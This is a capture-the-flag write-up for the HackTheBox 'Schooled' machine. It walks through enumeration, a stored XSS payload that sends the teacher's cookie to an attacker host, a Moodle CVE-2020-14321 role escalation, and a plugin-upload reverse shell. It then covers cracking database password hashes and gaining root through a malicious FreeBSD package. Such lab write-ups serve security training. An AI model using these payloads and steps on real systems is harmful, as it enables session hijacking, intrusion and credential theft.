# Port Scanning and General Enumeration (Nmap, Gobuster) Starting off with an all ports scan ``` nmap -p- -T4 -oN nmap/allports 10.10.10.234 Nmap scan report for 10.10.10.234 Host is up (0.052s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 33060/tcp open mysqlx ``` All ports scan shows `22`, `80` and `33036` up, so we can target those ``` nmap -T4 -p22,80,33060 -sC -sV -oN nmap/targeted 10.10.10.234 Nmap scan report for 10.10.10.234 Host is up (0.058s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) | ssh-hostkey: | 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA) | 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA) |_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519) 80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15 |_http-title: Schooled - A new kind of educational institute 33060/tcp open mysqlx? | fingerprint-strings: ``` Looks like something to do with **mysql** on `33060`. **Apache 2.4.46 (FreeBSD)** with **PHP 7.4.15** on the webserver on 80. Let's check that out first  The website seems pretty boring. Nothing off in the source and the only think that really links anywhere are the options in the navbar up top.  Little bit of information in the **Contact Details**  I guess we should add `schooled.htb` to our hosts file just in case. More enumeration! **Wappalyzer**:  I ran a **Gobuster directory scan** using [Seclists big](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-big.txt) but it didn't uncover anything new so I followed that up with a **Gobuster dns scan** using [Seclists 5k](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt) ``` gobuster dns -d schooled.htb -w 5000.txt Found: moodle.schooled.htb ``` Finally, Something interesting! Add it to your hosts! --- # Access (Moodle, Stored XSS, CVE-2020-14321) So now that we're on `moodle.schooled.htb`, let's create an account and let's take a minute to browse around the site and see what's available to us.  Looks like some kind of online school?  So the **Mathematics** course is available for us to enroll in and the teacher is **Manuel Phillips**. Let's enroll and learn some math!  Now that we're enrolled a bunch of new options opened up to us. We can view our classmates by clicking on **Participants**  Oh hey, the teacher is listed. Let's check out his profile  Forum posts? ``` This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set. Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course. Look forward to seeing you all soon. Manuel Phillips ``` He's going to check all of our **MoodleNet** profiles? Well we better update ours!  Let's see if this is vulnerable to something like **XSS**.   Nice. Maybe we can steal the Teacher's cookie and *become* the teacher? Let's try a basic cookie stealing payload like `<img src=x onerror=this.src='http://YOURIP:YOURPORT/?'+document.cookie;>` Fire up a quick webserver using python3 `python3 -m http.server` and see what happens  We get a hit! Well, we get a lot of hits actually.. Using that cookie and refreshing the page, we are now **Manuel Phillips**. But what good does that do us? I was on my way to unenroll all of the students when this popped up at the bottom of the page   So we're running version **3.9**. Doing research I noticed that there's an exploit for this version that allows a **teacher** user to escalate to a **manager** user. Someone has a **POC** available on their [GitHub](https://github.com/HoangKien1020/CVE-2020-14321) So by capturing the 'enroll' request, we can modify the **user id** value to match our teacher's **user id**, and the **role** value to **1** which *should* allow us to escalate to a manager account by using the **Login as** feature on another manager account? Let's give it a shot With **BurpSuite** running and intercepting the requests, enroll a user  Capture the request, send it to repeater and turn intercept **off**  Refresh the page and take note of **Manuel Phillips** user id `...r/profile.php?id=24`. Back to **BurpSuite**, in the repeater tab edit the values `&userlist%5B%5D=29` to `&userlist%5B%5D=24` and `&roletoassign=5` to `&roletoassign=1` and send it through  Refresh the page to see the changes. I found this to be incredibly finicky. You may need to do it quite a few times before you have both the **teacher** user as a manager and a **student** user as a manager. Once you do, navigate to their profile and click **Log in as** under **Administration**  You should then see **Site Administration** pop up in the left nav menu  Now that we have complete control over this website, let's do some prep work. 1. Download the zip file from this [Github](https://github.com/HoangKien1020/Moodle_RCE) 2. Grab the **php-reverse-shell** from [Pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). Edit it with your **IP** and **PORT**. 3. Unzip the **rce.zip** file and **remove** `/rce/lang/en/block_rce.php`. 4. **Rename** the **php-reverse-shell.php** to **block_rce.php** and **move** it into `rce/lang/en/` 5. Rezip the **rce** directory with `zip -r rce rce` Now back to the website 1. Under **Site Administration** click **Users** 2. Under **Permissions** click **Define Roles** 3. Click **Manager** and then **Edit** 4. Make sure **BurpSuite** is running and intercepting traffic 5. Scroll all the way to the bottom and click **Save Changes** 6. Grab the request in **BurpSuite** and replace everything from **&return** to the end with the block from this [Github](https://github.com/HoangKien1020/CVE-2020-14321) *(Payload to full permissions)* 7. **Forward** the request Whew. Almost there. Now we can navigate back to **Site Administration** and.. 1. Click **Plugins** and then **Install Plugins** 2. **Choose a file...** and upload the **rce.zip** 3. Click **Install plugin from the ZIP file** Once it goes through the check successfully, click continue, fire up a listener on whatever port you set in the **php-reverse-shell**. `nc -lvnp 4444` and navigate to `/moodle/blocks/rce/lang/en/block_rce.php`  --- # User (Moodle, MySQL, Hashcat) Let's stabalize our shell. Just typing `python3` wont work, so let's check and see what packages are installed with `pkg info`  So **python3** is available, let's find it using the **find** command `find . -name python3 2>/dev/null`  There it is. Let's stabalize ``` /usr/local/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl+z stty raw -echo && fg enter export TERM=xterm ```  Now we have a good shell to do some enumeration. Let's check out the [config file](https://docs.moodle.org/311/en/Configuration_file#:~:text=The%20name%20for%20Moodle's%20configuration,located%20in%20the%20moodle%20directory.) for **moodle**. It's located at `/usr/local/www/apache24/data/moodle/config.php` ``` $CFG->dbtype = 'mysqli'; $CFG->dblibrary = 'native'; $CFG->dbhost = 'localhost'; $CFG->dbname = 'moodle'; $CFG->dbuser = 'moodle'; $CFG->dbpass = 'PlaybookMaster2020'; $CFG->prefix = 'mdl_'; $CFG->dboptions = array ( 'dbpersist' => 0, 'dbport' => 3306, 'dbsocket' => '', 'dbcollation' => 'utf8_unicode_ci', ); $CFG->wwwroot = 'http://moodle.schooled.htb/moodle'; $CFG->dataroot = '/usr/local/www/apache24/moodledata'; $CFG->admin = 'admin'; ``` Database creds! Since we can't just call **mysql**, let's see if it's in the same place as python.  Looks like it! Let's roll through it 1. show databases; 2. show tables; 3. select concat(username,password) from mdl_user;  Hashes! Let's pull that **admin** hash offline and try to crack it. First, we need to identify it. Googling **hash $2y$10$** lead me to this [link](https://www.php.net/manual/en/function.password-hash.php) which say that it's **Blowfish**. Using [Hashcat's example hashes page](https://hashcat.net/wiki/doku.php?id=example_hashes), we can see that **Blowfish** is mode **3200**. Let's get to cracking `hashcat -m 3200 hashfile rockyou.txt` After a little time we get back `$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx` Let's try to use that password to log into a new user  There's a couple users that have `home` directories. Let's try **jamie** first.  Got it! Capture the user flag!  # Privesc (pkg, GTFOBins, fpm)  Sudo not found? Let's remedy that by setting up ssh. Cat and copy your public ssh key on your machine. If you don't have one, create a key pair using `ssh-keygen` ``` cd ~ mkdir .ssh && chmod 700 .ssh touch .ssh/authorized_keys && chmod 600 .ssh/authorized_keys echo 'YOURPUBLICKEY' >> .ssh/authorized_keys ``` Then back on your box ``` ssh [email protected] -i id_rsa ``` Now we can use `sudo -l` ``` jamie@Schooled:~ $ sudo -l User jamie may run the following commands on Schooled: (ALL) NOPASSWD: /usr/sbin/pkg update (ALL) NOPASSWD: /usr/sbin/pkg install * ``` So we can install packages and update using **sudo**. Let's check out [GTFOBins](https://gtfobins.github.io/gtfobins/pkg/) entry on **pkg**  So we can use **fpm** to create a malicious package and then install it. Nice. Let's do that on our machine and transfer the malicious package over. As for the payload, all we really need to do is read the root flag. Run this on your machine ``` TF=$(mktemp -d) echo 'cat /root/root.txt' > $TF/z.sh fpm -n z -s dir -t freebsd -a all --before-install $TF/z.sh $TF ``` Transfer the package over to the machine. I used **python** and **curl** ``` curl YOURIP:YOURPORT/z-1.0.txz --output /home/jamie/z-1.0.txz ``` And now install the malicious package ``` sudo /usr/sbin/pkg install -y --no-repo-update ./z-1.0.txz ```  Capture that flag! --- Back to [[HackTheBox Index]] Tags: #htb #hackthebox #cve-2020-14321 #moodle #reverse_shell #freebsd #pkg #xss #stored_xss #gobuster #dns #hashcracking #fpm #box_writeups Related: